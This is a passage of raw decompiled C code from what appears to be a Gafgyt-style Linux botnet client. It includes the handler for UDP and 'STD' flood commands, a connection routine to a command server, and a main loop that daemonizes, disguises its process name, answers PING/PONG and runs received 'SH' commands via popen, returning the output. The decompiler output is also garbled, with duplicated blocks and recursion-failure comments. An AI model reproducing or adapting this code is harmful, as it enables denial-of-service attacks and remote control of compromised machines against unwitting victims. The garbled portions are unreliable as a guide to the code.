v26 = v50; | |
if ((0x1000000 * (v50 - (int32_t)v40) || 0xffffff) >= 0x1ffffff) { | |
// 0x804fd0d | |
strncmp_rc9 = strncmp((char *)*str, "UDP", 4); | |
v23 = strncmp_rc9 % 2 == 0; | |
v41 = false; | |
v51 = ((int32_t)(v41 | strncmp_rc9 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v51; | |
if ((0x1000000 * (v51 - (int32_t)v41) || 0xffffff) < 0x1ffffff) { | |
// 0x804fd58 | |
if (a1 >= 6) { | |
// 0x804fd62 | |
str6 = (int32_t *)(v22 + 12); | |
if (atoi((char *)*str6) != -1) { | |
// 0x804fd7b | |
str7 = (int32_t *)(v22 + 8); | |
if (atoi((char *)*str7) != -1) { | |
// 0x804fd94 | |
str8 = (int32_t *)(v22 + 16); | |
if (atoi((char *)*str8) != -1) { | |
// 0x804fdad | |
str9 = (int32_t *)(v22 + 20); | |
if (atoi((char *)*str9) != -1) { | |
// 0x804fdc6 | |
str_as_i6 = atoi((char *)*str9); | |
if (str_as_i6 <= 0xffdc) { | |
// 0x804fde1 | |
str_as_i7 = atoi((char *)*str8); | |
if (str_as_i7 <= 32) { | |
// 0x804fdfa | |
if (a1 == 7) { | |
// 0x804fe00 | |
str_as_i8 = atoi((char *)str10); | |
if (str_as_i8 <= 0) { | |
// 0x8050159 | |
return str_as_i8; | |
} | |
} | |
// 0x804fe19 | |
str_as_i9 = atoi((char *)*str7); | |
str_as_i10 = atoi((char *)*str6); | |
str_as_i11 = atoi((char *)*str8); | |
str_as_i12 = atoi((char *)*str9); | |
str_as_i13 = 10; | |
if (a1 == 7) { | |
// 0x804fe76 | |
str_as_i13 = atoi((char *)str11); | |
// branch -> 0x804fe92 | |
} | |
// 0x804fe92 | |
str12 = (char *)v48; | |
if (strchr(str12, 44) == NULL) { | |
// 0x804ff5e | |
v35 = listFork(); | |
if (v35 == 0) { | |
// 0x804ff6b | |
sockprintf((int32_t)fd, "UDP Flooding %s:%d for %d seconds."); | |
sendUDP((int32_t *)v48, (char *)str_as_i9, str_as_i10, str_as_i11, (struct sockaddr *)str_as_i12, str_as_i13); | |
close((int32_t)fd); | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v35; | |
} else { | |
// 0x804feb3 | |
sockprintf((int32_t)fd, "UDP Flooding %s for %d seconds."); | |
next_token = strtok(str12, ","); | |
if (next_token != NULL) { | |
// 0x804feef | |
// branch -> 0x804feef | |
while (true) { | |
// 0x804feef | |
if (listFork() != 0) { | |
goto lab_0x804ff3f_4; | |
} | |
// 0x804fef8 | |
sendUDP((int32_t *)next_token, (char *)str_as_i9, str_as_i10, str_as_i11, (struct sockaddr *)str_as_i12, str_as_i13); | |
close((int32_t)fd); | |
exit(0); | |
// UNREACHABLE | |
} | |
} | |
// 0x804ffdd | |
strncmp_rc10 = strncmp((char *)*str, "KILLATTK", 9); | |
v23 = strncmp_rc10 % 2 == 0; | |
v42 = false; | |
v52 = ((int32_t)(v42 | strncmp_rc10 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v52; | |
v34 = false; | |
if ((0x1000000 * (v52 - (int32_t)v42) || 0xffffff) < 0x1ffffff) { | |
v53 = 0; | |
v38 = 0; | |
while (true) { | |
// 0x8050091 | |
if (v36 != 0) { | |
goto lab_0x8050038_10; | |
} | |
goto lab_0x80500b8_10; | |
} | |
} | |
// 0x8050106 | |
strncmp_rc11 = strncmp((char *)*str, "LOLNOGTFO", 10); | |
v23 = strncmp_rc11 % 2 == 0; | |
v43 = v34; | |
v37 = 0x1000000 * ((((int32_t)(v43 | strncmp_rc11 % 2 == 0) | v26 & -256) ^ 1) - (int32_t)v43); | |
if ((v37 || 0xffffff) < 0x1ffffff) { | |
// 0x805014d | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v37 / 0x1000000; | |
} | |
// 0x8050159 | |
return result2; | |
} | |
result2 = str_as_i7; | |
} else { | |
result2 = str_as_i6; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = 0; | |
} | |
} else { | |
// 0x804ffdd | |
strncmp_rc10 = strncmp((char *)*str, "KILLATTK", 9); | |
v23 = strncmp_rc10 % 2 == 0; | |
v42 = false; | |
v52 = ((int32_t)(v42 | strncmp_rc10 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v52; | |
v34 = false; | |
if ((0x1000000 * (v52 - (int32_t)v42) || 0xffffff) < 0x1ffffff) { | |
v53 = 0; | |
v38 = 0; | |
while (true) { | |
// 0x8050091 | |
if (v36 != 0) { | |
goto lab_0x8050038_10; | |
} | |
goto lab_0x80500b8_10; | |
} | |
} | |
// 0x8050106 | |
strncmp_rc11 = strncmp((char *)*str, "LOLNOGTFO", 10); | |
v23 = strncmp_rc11 % 2 == 0; | |
v43 = v34; | |
v37 = 0x1000000 * ((((int32_t)(v43 | strncmp_rc11 % 2 == 0) | v26 & -256) ^ 1) - (int32_t)v43); | |
if ((v37 || 0xffffff) < 0x1ffffff) { | |
// 0x805014d | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v37 / 0x1000000; | |
} | |
// 0x8050159 | |
return result2; | |
} | |
// 0x804fbf3 | |
if (a1 >= 4) { | |
// 0x804fbfd | |
str13 = (int32_t *)(v22 + 8); | |
if (atoi((char *)*str13) >= 1) { | |
// 0x804fc15 | |
str14 = (int32_t *)(v22 + 12); | |
if (atoi((char *)*str14) > 0) { | |
// 0x804fc2e | |
str_as_i16 = atoi((char *)*str13); | |
str_as_i17 = atoi((char *)*str14); | |
str15 = (char *)v47; | |
if (strchr(str15, 44) == NULL) { | |
// 0x804fcdb | |
result3 = listFork(); | |
if (result3 == 0) { | |
// 0x804fce8 | |
sendSTD(str15, str_as_i16, str_as_i17); | |
exit(0); | |
// UNREACHABLE | |
} | |
// 0x8050159 | |
return result3; | |
} | |
// 0x804fc76 | |
next_token2 = strtok(str15, ","); | |
if (next_token2 != NULL) { | |
while (true) { | |
// 0x804fc8e | |
if (listFork() != 0) { | |
goto lab_0x804fcbc; | |
} | |
// 0x804fc97 | |
sendSTD(next_token2, str_as_i16, str_as_i17); | |
exit(0); | |
// UNREACHABLE | |
} | |
} | |
// 0x804fd0d | |
strncmp_rc9 = strncmp((char *)*str, "UDP", 4); | |
v23 = strncmp_rc9 % 2 == 0; | |
v41 = false; | |
v51 = ((int32_t)(v41 | strncmp_rc9 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v51; | |
if ((0x1000000 * (v51 - (int32_t)v41) || 0xffffff) < 0x1ffffff) { | |
// 0x804fd58 | |
if (a1 >= 6) { | |
// 0x804fd62 | |
str6 = (int32_t *)(v22 + 12); | |
if (atoi((char *)*str6) != -1) { | |
// 0x804fd7b | |
str7 = (int32_t *)(v22 + 8); | |
if (atoi((char *)*str7) != -1) { | |
// 0x804fd94 | |
str8 = (int32_t *)(v22 + 16); | |
if (atoi((char *)*str8) != -1) { | |
// 0x804fdad | |
str9 = (int32_t *)(v22 + 20); | |
if (atoi((char *)*str9) != -1) { | |
// 0x804fdc6 | |
str_as_i6 = atoi((char *)*str9); | |
if (str_as_i6 <= 0xffdc) { | |
// 0x804fde1 | |
str_as_i7 = atoi((char *)*str8); | |
if (str_as_i7 <= 32) { | |
// 0x804fdfa | |
if (a1 == 7) { | |
// 0x804fe00 | |
str_as_i8 = atoi((char *)str10); | |
if (str_as_i8 <= 0) { | |
// 0x8050159 | |
return str_as_i8; | |
} | |
} | |
// 0x804fe19 | |
str_as_i9 = atoi((char *)*str7); | |
str_as_i10 = atoi((char *)*str6); | |
str_as_i11 = atoi((char *)*str8); | |
str_as_i12 = atoi((char *)*str9); | |
str_as_i13 = 10; | |
if (a1 == 7) { | |
// 0x804fe76 | |
str_as_i13 = atoi((char *)str11); | |
// branch -> 0x804fe92 | |
} | |
// 0x804fe92 | |
str12 = (char *)v48; | |
if (strchr(str12, 44) == NULL) { | |
// 0x804ff5e | |
v35 = listFork(); | |
if (v35 == 0) { | |
// 0x804ff6b | |
sockprintf((int32_t)fd, "UDP Flooding %s:%d for %d seconds."); | |
sendUDP((int32_t *)v48, (char *)str_as_i9, str_as_i10, str_as_i11, (struct sockaddr *)str_as_i12, str_as_i13); | |
close((int32_t)fd); | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v35; | |
} else { | |
// 0x804feb3 | |
sockprintf((int32_t)fd, "UDP Flooding %s for %d seconds."); | |
next_token = strtok(str12, ","); | |
if (next_token != NULL) { | |
// 0x804feef | |
// branch -> 0x804feef | |
while (true) { | |
// 0x804feef | |
if (listFork() != 0) { | |
goto lab_0x804ff3f_4; | |
} | |
// 0x804fef8 | |
sendUDP((int32_t *)next_token, (char *)str_as_i9, str_as_i10, str_as_i11, (struct sockaddr *)str_as_i12, str_as_i13); | |
close((int32_t)fd); | |
exit(0); | |
// UNREACHABLE | |
} | |
} | |
// 0x804ffdd | |
strncmp_rc10 = strncmp((char *)*str, "KILLATTK", 9); | |
v23 = strncmp_rc10 % 2 == 0; | |
v42 = false; | |
v52 = ((int32_t)(v42 | strncmp_rc10 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v52; | |
v34 = false; | |
if ((0x1000000 * (v52 - (int32_t)v42) || 0xffffff) < 0x1ffffff) { | |
v53 = 0; | |
v38 = 0; | |
while (true) { | |
// 0x8050091 | |
if (v36 != 0) { | |
goto lab_0x8050038_10; | |
} | |
goto lab_0x80500b8_10; | |
} | |
} | |
// 0x8050106 | |
strncmp_rc11 = strncmp((char *)*str, "LOLNOGTFO", 10); | |
v23 = strncmp_rc11 % 2 == 0; | |
v43 = v34; | |
v37 = 0x1000000 * ((((int32_t)(v43 | strncmp_rc11 % 2 == 0) | v26 & -256) ^ 1) - (int32_t)v43); | |
if ((v37 || 0xffffff) < 0x1ffffff) { | |
// 0x805014d | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v37 / 0x1000000; | |
} | |
// 0x8050159 | |
return result2; | |
} | |
result2 = str_as_i7; | |
} else { | |
result2 = str_as_i6; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = 0; | |
} | |
} else { | |
// 0x804ffdd | |
strncmp_rc10 = strncmp((char *)*str, "KILLATTK", 9); | |
v23 = strncmp_rc10 % 2 == 0; | |
v42 = false; | |
v52 = ((int32_t)(v42 | strncmp_rc10 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v52; | |
v34 = false; | |
if ((0x1000000 * (v52 - (int32_t)v42) || 0xffffff) < 0x1ffffff) { | |
v53 = 0; | |
v38 = 0; | |
while (true) { | |
// 0x8050091 | |
if (v36 != 0) { | |
goto lab_0x8050038_10; | |
} | |
goto lab_0x80500b8_10; | |
} | |
} | |
// 0x8050106 | |
strncmp_rc11 = strncmp((char *)*str, "LOLNOGTFO", 10); | |
v23 = strncmp_rc11 % 2 == 0; | |
v43 = v34; | |
v37 = 0x1000000 * ((((int32_t)(v43 | strncmp_rc11 % 2 == 0) | v26 & -256) ^ 1) - (int32_t)v43); | |
if ((v37 || 0xffffff) < 0x1ffffff) { | |
// 0x805014d | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v37 / 0x1000000; | |
} | |
// 0x8050159 | |
return result2; | |
} | |
} | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} | |
// Address range: 0x8050164 - 0x80502b1 | |
int32_t initConnection(void) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b1d0 | |
int32_t v4; // 0x805b1d4 | |
int16_t v5; // 0x805b240 | |
int32_t v6; // 0x805b3a4 | |
int32_t v7; // 0x805b488 | |
int32_t v8; // 0x805b48c | |
char * v9; // 0x805b490 | |
char v10; // 0x805b491 | |
char v11; // 0x805b493 | |
char v12; // 0x805b494 | |
char v13; // 0x805b496 | |
char v14; // 0x805b497 | |
char v15; // 0x805b498 | |
char v16; // 0x805b499 | |
char v17; // 0x805b49a | |
int32_t v18; // 0x805b4a0 | |
int32_t v19; // 0x805b4a4 | |
int32_t v20; // 0x805b4a8 | |
int64_t v21; // 0x805d49f | |
char * v22; // 0x805f4a0 | |
int32_t v23; // 0x8061708 | |
int32_t v24; // 0x806170c | |
char * v25; // 0x8061710 | |
bool v26; | |
int32_t str; | |
int32_t v27 = &str; // 0x805016d_0 | |
memset((char *)&str, 0, 512); | |
char * v28; // 0x805b480 | |
char * fd = v28; | |
if (fd != NULL) { | |
// 0x8050197 | |
close((int32_t)fd); | |
v28 = NULL; | |
// branch -> 0x80501ae | |
} | |
// 0x80501ae | |
int32_t v29; // 0x805b048 | |
int32_t v30 = v29; // 0x80501ae | |
int32_t v31 = 0; | |
if (v30 != 0) { | |
// 0x80501c3 | |
v31 = v30 + 1; | |
// branch -> 0x80501ce | |
} | |
// 0x80501ce | |
v29 = v31; | |
int32_t str2; // 0x80501d3 | |
strcpy((char *)&str, (char *)str2); | |
int32_t str_as_i; // 0x8050227 | |
if (strchr((char *)&str, 58) != NULL) { | |
char * found_char_pos = strchr((char *)&str, 58); // 0x805021e | |
str_as_i = atoi((char *)((int32_t)found_char_pos + 1)); | |
*strchr((char *)&str, 58) = 0; | |
// branch -> 0x8050248 | |
} else { | |
str_as_i = 0x1a0b; | |
} | |
int32_t sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); // 0x805025f | |
v28 = (char *)sock_fd; | |
return connectTimeout((int16_t)sock_fd, v27, str_as_i, 30) == 0; | |
} | |
// Address range: 0x80502b2 - 0x80504d4 | |
int32_t getOurIP(void) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x806170c | |
char * v26; // 0x8061710 | |
bool v27; | |
int32_t sock_fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP); // 0x80502d2 | |
if (sock_fd == -1) { | |
// 0x80504cd | |
return 0; | |
} | |
int32_t addr = 2; | |
inet_addr("8.8.8.8"); | |
htons(53); | |
if (connect(sock_fd, (struct sockaddr *)&addr, 16) == -1) { | |
// 0x80504cd | |
return 0; | |
} | |
int32_t addr_len = 16; | |
int32_t addr2; | |
if (getsockname(sock_fd, (struct sockaddr *)&addr2, &addr_len) == -1) { | |
// 0x80504cd | |
return 0; | |
} | |
// 0x805039f | |
int32_t v28; | |
int32_t v29 = v28; // 0x8061708 | |
int32_t fd = open("/proc/net/route", O_RDONLY); | |
int32_t str; | |
int32_t v30 = &str; // 0x805041b_0 | |
int32_t v31; // 0x80504ab | |
int32_t str2; | |
int32_t result; | |
if (fdgets(v30, 0x1000, fd) != 0) { | |
while (true) { | |
// 0x80503c0 | |
if (strstr((char *)&str, "\t00000000\t") == NULL) { | |
// 0x80503fa | |
memset((char *)&str, 0, 0x1000); | |
if (fdgets(v30, 0x1000, fd) == 0) { | |
// break -> 0x805043c | |
break; | |
} | |
// continue -> 0x80503c0 | |
continue; | |
} else { | |
// 0x80503e8 | |
char v32; // 0x80503eb41 | |
if (v32 != 9) { | |
int32_t v33 = v30 + 1; // 0x80503e5 | |
char * v34 = (char *)v33; | |
while (*v34 != 9) { | |
// 0x80503e5 | |
v33++; | |
v34 = (char *)v33; | |
// continue -> 0x80503e5 | |
} | |
// 0x80503f2 | |
*v34 = 0; | |
// branch -> 0x805043c | |
// 0x805043c | |
close(fd); | |
if (str % 256 == 0) { | |
// 0x80504b4 | |
close(sock_fd); | |
// branch -> 0x80504cd | |
// 0x80504cd | |
return result; | |
} | |
// 0x8050452 | |
strcpy((char *)&str2, (char *)&str); | |
ioctl(sock_fd, 0x8927); | |
v31 = 1; | |
// branch -> 0x8050490 | |
while (v31 < 6) { | |
// 0x8050490 | |
v31++; | |
// continue -> 0x8050490 | |
} | |
// 0x80504b4 | |
close(sock_fd); | |
// branch -> 0x80504cd | |
// 0x80504cd | |
return result; | |
} | |
// 0x80503f2 | |
*(char *)&str = 0; | |
// branch -> 0x805043c | |
} | |
// 0x805043c | |
close(fd); | |
if (str % 256 == 0) { | |
// 0x80504b4 | |
close(sock_fd); | |
// branch -> 0x80504cd | |
// 0x80504cd | |
return result; | |
} | |
// 0x8050452 | |
strcpy((char *)&str2, (char *)&str); | |
ioctl(sock_fd, 0x8927); | |
v31 = 1; | |
// branch -> 0x8050490 | |
while (v31 < 6) { | |
// 0x8050490 | |
v31++; | |
// continue -> 0x8050490 | |
} | |
// 0x80504b4 | |
close(sock_fd); | |
// branch -> 0x80504cd | |
// 0x80504cd | |
return result; | |
} | |
} | |
// 0x805043c | |
close(fd); | |
if (str % 256 == 0) { | |
// 0x80504b4 | |
close(sock_fd); | |
// branch -> 0x80504cd | |
// 0x80504cd | |
return result; | |
} | |
// 0x8050452 | |
strcpy((char *)&str2, (char *)&str); | |
ioctl(sock_fd, 0x8927); | |
v31 = 1; | |
// branch -> 0x8050490 | |
while (v31 < 6) { | |
// 0x8050490 | |
v31++; | |
// continue -> 0x8050490 | |
} | |
// 0x80504b4 | |
close(sock_fd); | |
// branch -> 0x80504cd | |
// 0x80504cd | |
return result; | |
} | |
// Address range: 0x80504d5 - 0x80504de | |
int32_t getBuild(void) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
// 0x80504d5 | |
return (int32_t)"GENOCIDE"; | |
} | |
// Address range: 0x80504df - 0x8050d67 | |
int main(int argc, char ** argv) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b490 | |
char v9; // 0x805b491 | |
char v10; // 0x805b493 | |
char v11; // 0x805b494 | |
char v12; // 0x805b496 | |
char v13; // 0x805b497 | |
char v14; // 0x805b498 | |
char v15; // 0x805b499 | |
char v16; // 0x805b49a | |
int32_t v17; // 0x805b4a0 | |
int32_t v18; // 0x805b4a4 | |
int32_t v19; // 0x805b4a8 | |
int64_t v20; // 0x805d49f | |
char * v21; // 0x805f4a0 | |
int32_t v22; // 0x8061708 | |
int32_t v23; // 0x806170c | |
int32_t time_val = time(NULL); // 0x80504ff | |
srandom(getpid() ^ time_val); | |
int32_t time_val2 = time(NULL); // 0x805051c | |
init_rand(getpid() ^ time_val2); | |
int32_t len = strlen((char *)*(int32_t *)argv); | |
strncpy((char *)*(int32_t *)argv, "hicore", len); | |
daemon(1, 0); | |
getOurIP(); | |
zprintf((int32_t)"MAC: %02X:%02X:%02X:%02X:%02X:%02X\n"); | |
int32_t pid = fork(); // 0x80505f3 | |
if (pid != 0) { | |
// 0x8050601 | |
int32_t stat_loc; | |
waitpid(pid, &stat_loc, 0); | |
exit(0); | |
// UNREACHABLE | |
} | |
// 0x805062d | |
if (fork() != 0) { | |
// 0x805063b | |
exit(0); | |
// UNREACHABLE | |
} | |
// 0x8050669 | |
setsid(); | |
chdir("/"); | |
signal(SIGPIPE, SIG_IGN); | |
int32_t str; | |
int32_t v24 = &str; // 0x8050d0f_0 | |
int32_t v25; | |
int32_t v26 = &v25; // 0x8050b14_0 | |
// branch -> 0x8050690 | |
while (true) { | |
lab_0x8050690: | |
// 0x8050690 | |
if (initConnection() == 0) { | |
// 0x80506b3 | |
getBuild(); | |
char * v27; // 0x805b480 | |
sockprintf((int32_t)v27, "BUILD %s"); | |
if (recvLine((int32_t)v27, (char *)&str, 0x1000) != -1) { | |
lab_0x805089a_6: | |
while (true) { | |
int32_t v28 = 0; | |
int32_t v29 = 0x1000; | |
// branch -> 0x805089a | |
while (true) { | |
lab_0x805089a:; | |
uint32_t v30 = v28 >> 31; // 0x80508a3 | |
int32_t v31; // 0x805b488 | |
uint32_t v32 = v31; // 0x80508aa | |
int32_t v33; // 0x805b48c | |
uint32_t v34 = v33; // 0x80508b0 | |
int32_t v35; | |
int32_t v36; // 0x8050716 | |
int32_t pid2; // 0x8050701 | |
if (v30 >= v34) { | |
// 0x80508d4 | |
if (v30 <= v34) { | |
// 0x80508e2 | |
if (v28 < v32) { | |
// 0x80506f1 | |
v36 = waitpid(pid2, NULL, WNOHANG); | |
v35 = v28 + 1; | |
if (v36 >= 1) { | |
lab_0x8050723:; | |
int32_t v37 = v35; | |
// branch -> 0x8050756 | |
while (true) { | |
// 0x8050756 | |
if (v33 == 0) { | |
// 0x8050790 | |
if (v37 >= v31) { | |
int32_t v38 = v31; // 0x80507c5 | |
int32_t v39 = v38 - 1; // 0x80507d0 | |
v31 = v39; | |
v33 = v33 - 1 + (int32_t)(v38 != 0); | |
char * mem = malloc(4 * v39 + 4); // 0x80507f9 | |
int32_t v40 = 0; | |
// branch -> 0x805082c | |
while (true) { | |
// 0x805082c | |
if (v33 == 0) { | |
// 0x8050866 | |
if (v40 >= v31) { | |
// 0x8050882 | |
char * v41; // 0x8061710 | |
free(v41); | |
v41 = mem; | |
// branch -> 0x8050897 | |
// 0x8050897 | |
v28 = v35; | |
v29 = 1; | |
// branch -> 0x805089a | |
goto lab_0x805089a; | |
} | |
} | |
// 0x805080a | |
v40++; | |
// branch -> 0x805082c | |
} | |
} | |
} | |
// 0x805072c | |
v37++; | |
// branch -> 0x8050756 | |
} | |
} | |
lab_0x8050897: | |
// 0x8050897 | |
v28 = v35; | |
v29 = 1; | |
// branch -> 0x805089a | |
continue; | |
} | |
} | |
// 0x80508f4 | |
trim((char *)&str); | |
if (strstr((char *)&str, "PING") == (char *)&str) { | |
// 0x805092f | |
sockprintf((int32_t)v27, "PONG"); | |
// branch -> 0x8050d0f | |
} else { | |
char * substr_pos = strstr((char *)&str, "DUP"); // 0x805095a | |
int32_t v42 = (int32_t)substr_pos; // edx | |
if (substr_pos == (char *)&str) { | |
// 0x805096b | |
exit(0); | |
// UNREACHABLE | |
} | |
// 0x8050977 | |
if ((char)str == 33) { | |
// 0x805098e | |
int32_t v43; | |
char * v44 = (char *)&v43; | |
char v45; // 0x805099d229 | |
if (v45 != 32) { | |
int32_t v46 = &v43; | |
char * v47 = (char *)&v43; | |
while (true) { | |
// 0x80509a4 | |
if (*v47 != 0) { | |
int32_t v48 = v46 + 1; // 0x8050997 | |
char * v49 = (char *)v48; | |
if (*v49 == 32) { | |
v44 = v49; | |
// break -> 0x80509ae | |
break; | |
} | |
v46 = v48; | |
v47 = v49; | |
// continue -> 0x80509a4 | |
continue; | |
} else { | |
v44 = v47; | |
} | |
} | |
// 0x80509ae | |
if (*v44 != 0) { | |
lab_0x80509bc: | |
// 0x80509bc | |
*v44 = 0; | |
int32_t v50 = strlen((char *)(v24 | 1)) + v24 + 2; // 0x80509ea | |
char * str2 = (char *)v50; | |
// branch -> 0x8050a17 | |
while (true) { | |
// 0x8050a17 | |
strlen(str2); | |
strlen(str2); | |
char v51; // 0x8050a39 | |
if (v51 != 10) { | |
// 0x8050a40 | |
strlen(str2); | |
strlen(str2); | |
char v52; // 0x8050a62 | |
if (v52 != 13) { | |
char * v53 = str2; | |
int32_t v54 = v50; | |
int32_t v55; | |
char * c; | |
if (*str2 != 32) { | |
char * v56 = str2; | |
int32_t v57 = v50; // 0x8050c0988243 | |
while (true) { | |
// 0x8050a7e | |
if (*v56 != 0) { | |
int32_t v58 = v57 + 1; // 0x8050a71 | |
char * v59 = (char *)v58; | |
if (*v59 == 32) { | |
v53 = v59; | |
v54 = v58; | |
// break -> 0x8050a88 | |
break; | |
} | |
v56 = v59; | |
v57 = v58; | |
// continue -> 0x8050a7e | |
continue; | |
} else { | |
v53 = v56; | |
v54 = v57; | |
} | |
} | |
// 0x8050a88 | |
*v53 = 0; | |
uint32_t strncmp_rc; | |
bool v60; // 0x8050af0 | |
int32_t v61; // 0x8050af0 | |
bool v62; | |
if (*str2 != 0) { | |
c = str2; | |
v55 = v50; | |
lab_0x8050a99: | |
while (true) { | |
uint32_t v63 = toupper((int32_t)*c); // 0x8050aa5 | |
v42 = v42 & -256 | v63 % 256; | |
*c = (char)v63; | |
int32_t v64 = v55 + 1; // 0x8050ab1 | |
if (*(char *)v64 == 0) { | |
// break -> 0x8050abe | |
break; | |
} | |
c = (char *)v64; | |
v55 = v64; | |
// continue -> 0x8050a99 | |
} | |
// 0x8050abe | |
strncmp_rc = strncmp(str2, "SH", 3); | |
v62 = strncmp_rc % 2 == 0; | |
v60 = false; | |
v61 = ((int32_t)(v60 | strncmp_rc % 2 == 0) | v42 & -256) ^ 1; | |
if ((0x1000000 * (v61 - (int32_t)v60) || 0xffffff) < 0x1ffffff) { | |
lab_0x8050b07: | |
// 0x8050b07 | |
if (listFork() == 0) { | |
// 0x8050b14 | |
memset((char *)&v25, 0, 1024); | |
szprintf(v26); | |
int32_t v65 = fdpopen(v26, "r"); // 0x8050b65 | |
if (fdgets(v26, 1024, v65) == 0) { | |
// 0x8050beb | |
fdpclose((struct _TYPEDEF_sigset_t *)v65); | |
exit(0); | |
// UNREACHABLE | |
} | |
trim((char *)&v25); | |
sockprintf((int32_t)v27, "%s"); | |
memset((char *)&v25, 0, 1024); | |
sleep(1); | |
while (fdgets(v26, 1024, v65) != 0) { | |
// 0x8050b6f | |
trim((char *)&v25); | |
sockprintf((int32_t)v27, "%s"); | |
memset((char *)&v25, 0, 1024); | |
sleep(1); | |
// continue -> 0x8050b6f | |
} | |
// 0x8050beb | |
fdpclose((struct _TYPEDEF_sigset_t *)v65); | |
exit(0); | |
// UNREACHABLE | |
} | |
} else { | |
lab_0x8050c02:; | |
char * next_token = strtok((char *)(v54 + 1), " "); // 0x8050c17 | |
int32_t v66 = v50; | |
int32_t v67 = 1; | |
if (next_token != NULL) { | |
int32_t v68 = 1; // 0x8050d0a90107 | |
while (true) { | |
int32_t v69 = v68; // 0x8050d0a89 | |
if (*next_token != 10) { | |
// 0x8050c34 | |
malloc(strlen(next_token) + 1); | |
malloc(strlen(next_token) + 1); | |
int32_t v70; // 0x8050c86 | |
memset((char *)v70, v70 & -256, strlen(next_token) + 1); | |
int32_t str3; // 0x8050c99 | |
strcpy((char *)str3, next_token); | |
v69 = v68 + 1; | |
// branch -> 0x8050cac | |
} | |
char * next_token2 = strtok(NULL, " "); // 0x8050cbb | |
if (next_token2 == NULL) { | |
v67 = v69; | |
// break -> 0x8050ccd | |
break; | |
} | |
next_token = next_token2; | |
v68 = v69; | |
// continue -> 0x8050c2a | |
} | |
// 0x8050ccd | |
processCmd(v67, &v66, v29); | |
if (v67 >= 2) { | |
lab_0x8050cf5: | |
// branch -> 0x8050cf5 | |
for (int32_t i = 1; i < v67; i++) { | |
// 0x8050cf5 | |
int32_t v71; // 0x8050cf8 | |
free((char *)v71); | |
// continue -> 0x8050cf5 | |
} | |
// 0x8050d0f | |
if (recvLine((int32_t)v27, (char *)&str, 0x1000) == -1) { | |
// break (via goto) -> 0x8050d3c | |
goto lab_0x8050d3c_5; | |
} | |
// continue (via goto) -> 0x805089a | |
goto lab_0x805089a_6; | |
} | |
lab_0x8050d0f: | |
// 0x8050d0f | |
if (recvLine((int32_t)v27, (char *)&str, 0x1000) == -1) { | |
// break (via goto) -> 0x8050d3c | |
goto lab_0x8050d3c_5; | |
} | |
// continue (via goto) -> 0x805089a | |
goto lab_0x805089a_6; | |
} | |
// 0x8050ccd | |
processCmd(v67, &v66, v29); | |
if (v67 < 2) { | |
goto lab_0x8050d0f; | |
} | |
goto lab_0x8050cf5; | |
} | |
// 0x8050d0f | |
if (recvLine((int32_t)v27, (char *)&str, 0x1000) == -1) { | |
// break (via goto) -> 0x8050d3c | |
goto lab_0x8050d3c_5; | |
} | |
// continue (via goto) -> 0x805089a | |
goto lab_0x805089a_6; | |
} | |
lab_0x8050abe: | |
// 0x8050abe | |
